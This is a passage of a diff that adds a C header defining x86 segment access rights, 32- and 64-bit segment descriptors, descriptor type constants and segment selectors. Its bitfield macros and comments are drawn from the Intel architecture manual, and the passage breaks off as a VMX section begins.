SEGMENT_ACCESS_RIGHTS_SYSTEM_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_SYSTEM(_) (((_) >> 20) & 0x01) + + /** + * @brief L (64-bit code segment) flag + * + * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment + * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A + * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then + * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to + * 0. + */ + uint32_t long_mode : 1; +#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_BIT 21 +#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_FLAG 0x200000 +#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_LONG_MODE(_) (((_) >> 21) & 0x01) + + /** + * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag + * + * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an + * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and + * to 0 for 16-bit code and data segments.) + * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and + * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands + * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can + * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other + * than the default. + * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the + * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a + * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer + * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment + * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. + * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag + * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). + */ + uint32_t default_big : 1; +#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_BIT 22 +#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_FLAG 0x400000 +#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG(_) (((_) >> 22) & 0x01) + + /** + * @brief G (granularity) flag + * + * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is + * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not + * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve + * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when + * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. + */ + uint32_t granularity : 1; +#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_BIT 23 +#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_FLAG 0x800000 +#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_GRANULARITY(_) (((_) >> 23) & 0x01) + uint32_t reserved3 : 8; + }; + + uint32_t flags; +} segment_access_rights; + +/** + * @brief General Segment Descriptor (32-bit) + * + * A segment descriptor is a data structure in a GDT or LDT that provides the processor with the size and location of a + * segment, as well as access control and status information. Segment descriptors are typically created by compilers, + * linkers, loaders, or the operating system or executive, but not application programs. + * + * @see Vol3A[5.2(FIELDS AND FLAGS USED FOR SEGMENT-LEVEL AND PAGE-LEVEL PROTECTION)] + * @see Vol3A[5.2.1(Code-Segment Descriptor in 64-bit Mode)] + * @see Vol3A[5.8.3(Call Gates)] + * @see Vol3A[6.11(IDT DESCRIPTORS)] + * @see Vol3A[6.14.1(64-Bit Mode IDT)] + * @see Vol3A[7.2.2(TSS Descriptor)] + * @see Vol3A[7.2.3(TSS Descriptor in 64-bit mode)] + * @see Vol3A[7.2.5(Task-Gate Descriptor)] + * @see Vol3A[3.4.5(Segment Descriptors)] (reference) + */ +typedef struct +{ + /** + * @brief Segment limit field (15:00) + * + * Specifies the size of the segment. The processor puts together the two segment limit fields to form a 20-bit value. The + * processor interprets the segment limit in one of two ways, depending on the setting of the G (granularity) flag: + * - If the granularity flag is clear, the segment size can range from 1 byte to 1 MByte, in byte increments. + * - If the granularity flag is set, the segment size can range from 4 KBytes to 4 GBytes, in 4-KByte increments. + * The processor uses the segment limit in two different ways, depending on whether the segment is an expand-up or an + * expand-down segment. For expand-up segments, the offset in a logical address can range from 0 to the segment limit. + * Offsets greater than the segment limit generate general-protection exceptions (\#GP, for all segments other than SS) or + * stack-fault exceptions (\#SS for the SS segment). For expand-down segments, the segment limit has the reverse function; + * the offset can range from the segment limit plus 1 to FFFFFFFFH or FFFFH, depending on the setting of the B flag. + * Offsets less than or equal to the segment limit generate general-protection exceptions or stack-fault exceptions. + * Decreasing the value in the segment limit field for an expanddown segment allocates new memory at the bottom of the + * segment's address space, rather than at the top. IA-32 architecture stacks always grow downwards, making this mechanism + * convenient for expandable stacks. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] + */ + uint16_t segment_limit_low; + + /** + * @brief Base address field (15:00) + * + * Defines the location of byte 0 of the segment within the 4-GByte linear address space. The processor puts together the + * three base address fields to form a single 32-bit value. Segment base addresses should be aligned to 16-byte boundaries. + * Although 16-byte alignment is not required, this alignment allows programs to maximize performance by aligning code and + * data on 16-byte boundaries. + */ + uint16_t base_address_low; + /** + * @brief Segment descriptor fields + */ + union + { + struct + { + /** + * [Bits 7:0] Base address field (23:16); see description of $BASE_LOW for more details. + */ + uint32_t base_address_middle : 8; +#define SEGMENT__BASE_ADDRESS_MIDDLE_BIT 0 +#define SEGMENT__BASE_ADDRESS_MIDDLE_FLAG 0xFF +#define SEGMENT__BASE_ADDRESS_MIDDLE_MASK 0xFF +#define SEGMENT__BASE_ADDRESS_MIDDLE(_) (((_) >> 0) & 0xFF) + + /** + * @brief Type field + * + * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the + * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an + * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, + * data, and system descriptors. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] + */ + uint32_t type : 4; +#define SEGMENT__TYPE_BIT 8 +#define SEGMENT__TYPE_FLAG 0xF00 +#define SEGMENT__TYPE_MASK 0x0F +#define SEGMENT__TYPE(_) (((_) >> 8) & 0x0F) + + /** + * @brief S (descriptor type) flag + * + * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S + * flag is set). + */ + uint32_t descriptor_type : 1; +#define SEGMENT__DESCRIPTOR_TYPE_BIT 12 +#define SEGMENT__DESCRIPTOR_TYPE_FLAG 0x1000 +#define SEGMENT__DESCRIPTOR_TYPE_MASK 0x01 +#define SEGMENT__DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) + + /** + * @brief DPL (descriptor privilege level) field + * + * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the + * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a + * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. + */ + uint32_t descriptor_privilege_level : 2; +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) + + /** + * @brief P (segment-present) flag + * + * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the + * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor + * is loaded into a segment register. Memory management software can use this flag to control which segments are actually + * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. + */ + uint32_t present : 1; +#define SEGMENT__PRESENT_BIT 15 +#define SEGMENT__PRESENT_FLAG 0x8000 +#define SEGMENT__PRESENT_MASK 0x01 +#define SEGMENT__PRESENT(_) (((_) >> 15) & 0x01) + + /** + * [Bits 19:16] Segment limit field (19:16); see description of $LIMIT_LOW for more details. + */ + uint32_t segment_limit_high : 4; +#define SEGMENT__SEGMENT_LIMIT_HIGH_BIT 16 +#define SEGMENT__SEGMENT_LIMIT_HIGH_FLAG 0xF0000 +#define SEGMENT__SEGMENT_LIMIT_HIGH_MASK 0x0F +#define SEGMENT__SEGMENT_LIMIT_HIGH(_) (((_) >> 16) & 0x0F) + + /** + * @brief Available bit + * + * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. + */ + uint32_t system : 1; +#define SEGMENT__SYSTEM_BIT 20 +#define SEGMENT__SYSTEM_FLAG 0x100000 +#define SEGMENT__SYSTEM_MASK 0x01 +#define SEGMENT__SYSTEM(_) (((_) >> 20) & 0x01) + + /** + * @brief L (64-bit code segment) flag + * + * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment + * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A + * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then + * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to + * 0. + */ + uint32_t long_mode : 1; +#define SEGMENT__LONG_MODE_BIT 21 +#define SEGMENT__LONG_MODE_FLAG 0x200000 +#define SEGMENT__LONG_MODE_MASK 0x01 +#define SEGMENT__LONG_MODE(_) (((_) >> 21) & 0x01) + + /** + * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag + * + * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an + * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and + * to 0 for 16-bit code and data segments.) + * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and + * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands + * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can + * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other + * than the default. + * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the + * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a + * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer + * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment + * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. + * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag + * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). + */ + uint32_t default_big : 1; +#define SEGMENT__DEFAULT_BIG_BIT 22 +#define SEGMENT__DEFAULT_BIG_FLAG 0x400000 +#define SEGMENT__DEFAULT_BIG_MASK 0x01 +#define SEGMENT__DEFAULT_BIG(_) (((_) >> 22) & 0x01) + + /** + * @brief G (granularity) flag + * + * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is + * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not + * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve + * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when + * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. + */ + uint32_t granularity : 1; +#define SEGMENT__GRANULARITY_BIT 23 +#define SEGMENT__GRANULARITY_FLAG 0x800000 +#define SEGMENT__GRANULARITY_MASK 0x01 +#define SEGMENT__GRANULARITY(_) (((_) >> 23) & 0x01) + + /** + * [Bits 31:24] Base address field (31:24); see description of $BASE_LOW for more details. + */ + uint32_t base_address_high : 8; +#define SEGMENT__BASE_ADDRESS_HIGH_BIT 24 +#define SEGMENT__BASE_ADDRESS_HIGH_FLAG 0xFF000000 +#define SEGMENT__BASE_ADDRESS_HIGH_MASK 0xFF +#define SEGMENT__BASE_ADDRESS_HIGH(_) (((_) >> 24) & 0xFF) + }; + + uint32_t flags; + }; + +} segment_descriptor_32; + +/** + * @brief General Segment Descriptor (64-bit) + * + * A segment descriptor is a data structure in a GDT or LDT that provides the processor with the size and location of a + * segment, as well as access control and status information. Segment descriptors are typically created by compilers, + * linkers, loaders, or the operating system or executive, but not application programs. + * + * @see Vol3A[3.4.5(Segment Descriptors)] (reference) + */ +typedef struct +{ + /** + * @brief Segment limit field (15:00) + * + * Specifies the size of the segment. The processor puts together the two segment limit fields to form a 20-bit value. The + * processor interprets the segment limit in one of two ways, depending on the setting of the G (granularity) flag: + * - If the granularity flag is clear, the segment size can range from 1 byte to 1 MByte, in byte increments. + * - If the granularity flag is set, the segment size can range from 4 KBytes to 4 GBytes, in 4-KByte increments. + * The processor uses the segment limit in two different ways, depending on whether the segment is an expand-up or an + * expand-down segment. For expand-up segments, the offset in a logical address can range from 0 to the segment limit. + * Offsets greater than the segment limit generate general-protection exceptions (\#GP, for all segments other than SS) or + * stack-fault exceptions (\#SS for the SS segment). For expand-down segments, the segment limit has the reverse function; + * the offset can range from the segment limit plus 1 to FFFFFFFFH or FFFFH, depending on the setting of the B flag. + * Offsets less than or equal to the segment limit generate general-protection exceptions or stack-fault exceptions. + * Decreasing the value in the segment limit field for an expanddown segment allocates new memory at the bottom of the + * segment's address space, rather than at the top. IA-32 architecture stacks always grow downwards, making this mechanism + * convenient for expandable stacks. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] + */ + uint16_t segment_limit_low; + + /** + * @brief Base address field (15:00) + * + * Defines the location of byte 0 of the segment within the 4-GByte linear address space. The processor puts together the + * three base address fields to form a single 32-bit value. Segment base addresses should be aligned to 16-byte boundaries. + * Although 16-byte alignment is not required, this alignment allows programs to maximize performance by aligning code and + * data on 16-byte boundaries. + */ + uint16_t base_address_low; + /** + * @brief Segment descriptor fields + */ + union + { + struct + { + /** + * [Bits 7:0] Base address field (23:16); see description of $BASE_LOW for more details. + */ + uint32_t base_address_middle : 8; +#define SEGMENT__BASE_ADDRESS_MIDDLE_BIT 0 +#define SEGMENT__BASE_ADDRESS_MIDDLE_FLAG 0xFF +#define SEGMENT__BASE_ADDRESS_MIDDLE_MASK 0xFF +#define SEGMENT__BASE_ADDRESS_MIDDLE(_) (((_) >> 0) & 0xFF) + + /** + * @brief Type field + * + * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the + * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an + * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, + * data, and system descriptors. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] + */ + uint32_t type : 4; +#define SEGMENT__TYPE_BIT 8 +#define SEGMENT__TYPE_FLAG 0xF00 +#define SEGMENT__TYPE_MASK 0x0F +#define SEGMENT__TYPE(_) (((_) >> 8) & 0x0F) + + /** + * @brief S (descriptor type) flag + * + * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S + * flag is set). + */ + uint32_t descriptor_type : 1; +#define SEGMENT__DESCRIPTOR_TYPE_BIT 12 +#define SEGMENT__DESCRIPTOR_TYPE_FLAG 0x1000 +#define SEGMENT__DESCRIPTOR_TYPE_MASK 0x01 +#define SEGMENT__DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) + + /** + * @brief DPL (descriptor privilege level) field + * + * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the + * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a + * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. + */ + uint32_t descriptor_privilege_level : 2; +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) + + /** + * @brief P (segment-present) flag + * + * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the + * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor + * is loaded into a segment register. Memory management software can use this flag to control which segments are actually + * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. + */ + uint32_t present : 1; +#define SEGMENT__PRESENT_BIT 15 +#define SEGMENT__PRESENT_FLAG 0x8000 +#define SEGMENT__PRESENT_MASK 0x01 +#define SEGMENT__PRESENT(_) (((_) >> 15) & 0x01) + + /** + * [Bits 19:16] Segment limit field (19:16); see description of $LIMIT_LOW for more details. + */ + uint32_t segment_limit_high : 4; +#define SEGMENT__SEGMENT_LIMIT_HIGH_BIT 16 +#define SEGMENT__SEGMENT_LIMIT_HIGH_FLAG 0xF0000 +#define SEGMENT__SEGMENT_LIMIT_HIGH_MASK 0x0F +#define SEGMENT__SEGMENT_LIMIT_HIGH(_) (((_) >> 16) & 0x0F) + + /** + * @brief Available bit + * + * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. + */ + uint32_t system : 1; +#define SEGMENT__SYSTEM_BIT 20 +#define SEGMENT__SYSTEM_FLAG 0x100000 +#define SEGMENT__SYSTEM_MASK 0x01 +#define SEGMENT__SYSTEM(_) (((_) >> 20) & 0x01) + + /** + * @brief L (64-bit code segment) flag + * + * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment + * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A + * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then + * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to + * 0. + */ + uint32_t long_mode : 1; +#define SEGMENT__LONG_MODE_BIT 21 +#define SEGMENT__LONG_MODE_FLAG 0x200000 +#define SEGMENT__LONG_MODE_MASK 0x01 +#define SEGMENT__LONG_MODE(_) (((_) >> 21) & 0x01) + + /** + * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag + * + * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an + * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and + * to 0 for 16-bit code and data segments.) + * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and + * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands + * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can + * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other + * than the default. + * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the + * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a + * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer + * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment + * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. + * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag + * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). + */ + uint32_t default_big : 1; +#define SEGMENT__DEFAULT_BIG_BIT 22 +#define SEGMENT__DEFAULT_BIG_FLAG 0x400000 +#define SEGMENT__DEFAULT_BIG_MASK 0x01 +#define SEGMENT__DEFAULT_BIG(_) (((_) >> 22) & 0x01) + + /** + * @brief G (granularity) flag + * + * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is + * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not + * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve + * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when + * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. + */ + uint32_t granularity : 1; +#define SEGMENT__GRANULARITY_BIT 23 +#define SEGMENT__GRANULARITY_FLAG 0x800000 +#define SEGMENT__GRANULARITY_MASK 0x01 +#define SEGMENT__GRANULARITY(_) (((_) >> 23) & 0x01) + + /** + * [Bits 31:24] Base address field (31:24); see description of $BASE_LOW for more details. + */ + uint32_t base_address_high : 8; +#define SEGMENT__BASE_ADDRESS_HIGH_BIT 24 +#define SEGMENT__BASE_ADDRESS_HIGH_FLAG 0xFF000000 +#define SEGMENT__BASE_ADDRESS_HIGH_MASK 0xFF +#define SEGMENT__BASE_ADDRESS_HIGH(_) (((_) >> 24) & 0xFF) + }; + + uint32_t flags; + }; + + + /** + * Base address field (32:63); see description of $BASE_LOW for more details. + */ + uint32_t base_address_upper; + + /** + * Base address field (32:63); see description of $BASE_LOW for more details. + */ + uint32_t must_be_zero; +} segment_descriptor_64; + +#define SEGMENT_DESCRIPTOR_TYPE_SYSTEM 0x00000000 +#define SEGMENT_DESCRIPTOR_TYPE_CODE_OR_DATA 0x00000001 +/** + * @defgroup segment_descriptor_code_and_data_type \ + * Code- and Data-Segment Descriptor Types + * + * When the S (descriptor type) flag in a segment descriptor is set, the descriptor is for either a code or a data segment. + * The highest order bit of the type field (bit 11 of the second double word of the segment descriptor) then determines + * whether the descriptor is for a data segment (clear) or a code segment (set). For data segments, the three low-order + * bits of the type field (bits 8, 9, and 10) are interpreted as accessed (A), write-enable (W), and expansion-direction + * (E). See Table 3-1 for a description of the encoding of the bits in the type field for code and data segments. Data + * segments can be read-only or read/write segments, depending on the setting of the write-enable bit. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] (reference) + * @{ + */ + /** + * Read-Only. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY 0x00000000 + + /** + * Data Read-Only, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_ACCESSED 0x00000001 + + /** + * Data Read/Write. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE 0x00000002 + + /** + * Data Read/Write, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_ACCESSED 0x00000003 + + /** + * Data Read-Only, expand-down. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_EXPAND_DOWN 0x00000004 + + /** + * Data Read-Only, expand-down, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_EXPAND_DOWN_ACCESSED 0x00000005 + + /** + * Data Read/Write, expand-down. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_EXPAND_DOWN 0x00000006 + + /** + * Data Read/Write, expand-down, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_EXPAND_DOWN_ACCESSED 0x00000007 + + /** + * Code Execute-Only. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY 0x00000008 + + /** + * Code Execute-Only, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_ACCESSED 0x00000009 + + /** + * Code Execute/Read. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ 0x0000000A + + /** + * Code Execute/Read, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_ACCESSED 0x0000000B + + /** + * Code Execute-Only, conforming. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_CONFORMING 0x0000000C + + /** + * Code Execute-Only, conforming, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_CONFORMING_ACCESSED 0x0000000D + + /** + * Code Execute/Read, conforming. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_CONFORMING 0x0000000E + + /** + * Code Execute/Read, conforming, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_CONFORMING_ACCESSED 0x0000000F + /** + * @} + */ + + /** + * @defgroup segment_descriptor_system_type \ + * System Descriptor Types + * + * When the S (descriptor type) flag in a segment descriptor is clear, the descriptor type is a system descriptor. The + * processor recognizes the following types of system descriptors: + * - Local descriptor-table (LDT) segment descriptor. + * - Task-state segment (TSS) descriptor. + * - Call-gate descriptor. + * - Interrupt-gate descriptor. + * - Trap-gate descriptor. + * - Task-gate descriptor. + * These descriptor types fall into two categories: system-segment descriptors and gate descriptors. Systemsegment + * descriptors point to system segments (LDT and TSS segments). Gate descriptors are in themselves "gates," which hold + * pointers to procedure entry points in code segments (call, interrupt, and trap gates) or which hold segment selectors + * for TSS's (task gates). + * + * @see Vol3A[3.5(SYSTEM DESCRIPTOR TYPES)] (reference) + * @{ + */ + /** + * - 32-Bit Mode: Reserved + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_1 0x00000000 + + /** + * - 32-Bit Mode: 16-bit TSS (Available) + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_TSS_16_AVAILABLE 0x00000001 + + /** + * - 32-Bit Mode: LDT + * - IA-32e Mode: LDT + */ +#define SEGMENT_DESCRIPTOR_TYPE_LDT 0x00000002 + + /** + * - 32-Bit Mode: 16-bit TSS (Busy) + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_TSS_16_BUSY 0x00000003 + + /** + * - 32-Bit Mode: 16-bit Call Gate + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_CALL_GATE_16 0x00000004 + + /** + * - 32-Bit Mode: Task Gate + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_TASK_GATE 0x00000005 + + /** + * - 32-Bit Mode: 16-bit Interrupt Gate + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_INTERRUPT_GATE_16 0x00000006 + + /** + * - 32-Bit Mode: 16-bit Trap Gate + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_TRAP_GATE_16 0x00000007 + + /** + * - 32-Bit Mode: Reserved + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_2 0x00000008 + + /** + * - 32-Bit Mode: 32-bit TSS (Available) + * - IA-32e Mode: 64-bit TSS (Available) + */ +#define SEGMENT_DESCRIPTOR_TYPE_TSS_AVAILABLE 0x00000009 + + /** + * - 32-Bit Mode: Reserved + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_3 0x0000000A + + /** + * - 32-Bit Mode: 32-bit TSS (Busy) + * - IA-32e Mode: 64-bit TSS (Busy) + */ +#define SEGMENT_DESCRIPTOR_TYPE_TSS_BUSY 0x0000000B + + /** + * - 32-Bit Mode: 32-bit Call Gate + * - IA-32e Mode: 64-bit Call Gate + */ +#define SEGMENT_DESCRIPTOR_TYPE_CALL_GATE 0x0000000C + + /** + * - 32-Bit Mode: Reserved + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_4 0x0000000D + + /** + * - 32-Bit Mode: 32-bit Interrupt Gate + * - IA-32e Mode: 64-bit Interrupt Gate + */ +#define SEGMENT_DESCRIPTOR_TYPE_INTERRUPT_GATE 0x0000000E + + /** + * - 32-Bit Mode: 32-bit Trap Gate + * - IA-32e Mode: 64-bit Trap Gate + */ +#define SEGMENT_DESCRIPTOR_TYPE_TRAP_GATE 0x0000000F + /** + * @} + */ + + /** + * @brief A segment selector is a 16-bit identifier for a segment. It does not point directly to the segment, but instead + * points to the segment descriptor that defines the segment + * + * @see Vol3A[3.4.2(Segment Selectors)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bits 1:0] Specifies the privilege level of the selector. The privilege level can range from 0 to 3, with 0 being the + * most privileged level. + * + * @see Vol3A[5.5(Privilege Levels)] + */ + uint16_t request_privilege_level : 2; +#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_BIT 0 +#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_FLAG 0x03 +#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_MASK 0x03 +#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL(_) (((_) >> 0) & 0x03) + + /** + * [Bit 2] Specifies the descriptor table to use: clearing this flag selects the GDT; setting this flag selects the current + * LDT. + */ + uint16_t table : 1; +#define SEGMENT_SELECTOR_TABLE_BIT 2 +#define SEGMENT_SELECTOR_TABLE_FLAG 0x04 +#define SEGMENT_SELECTOR_TABLE_MASK 0x01 +#define SEGMENT_SELECTOR_TABLE(_) (((_) >> 2) & 0x01) + + /** + * [Bits 15:3] Selects one of 8192 descriptors in the GDT or LDT. The processor multiplies the index value by 8 (the number + * of bytes in a segment descriptor) and adds the result to the base address of the GDT or LDT (from the GDTR or LDTR + * register, respectively). + */ + uint16_t index : 13; +#define SEGMENT_SELECTOR_INDEX_BIT 3 +#define SEGMENT_SELECTOR_INDEX_FLAG 0xFFF8 +#define SEGMENT_SELECTOR_INDEX_MASK 0x1FFF +#define SEGMENT_SELECTOR_INDEX(_) (((_) >> 3) & 0x1FFF) + }; + + uint16_t flags; +} segment_selector; + +/** + * @} + */ + + /** + * @defgroup vmx \ + * VMX + * @{ + */ + /** + * @{ + */ + /** + * @defgroup 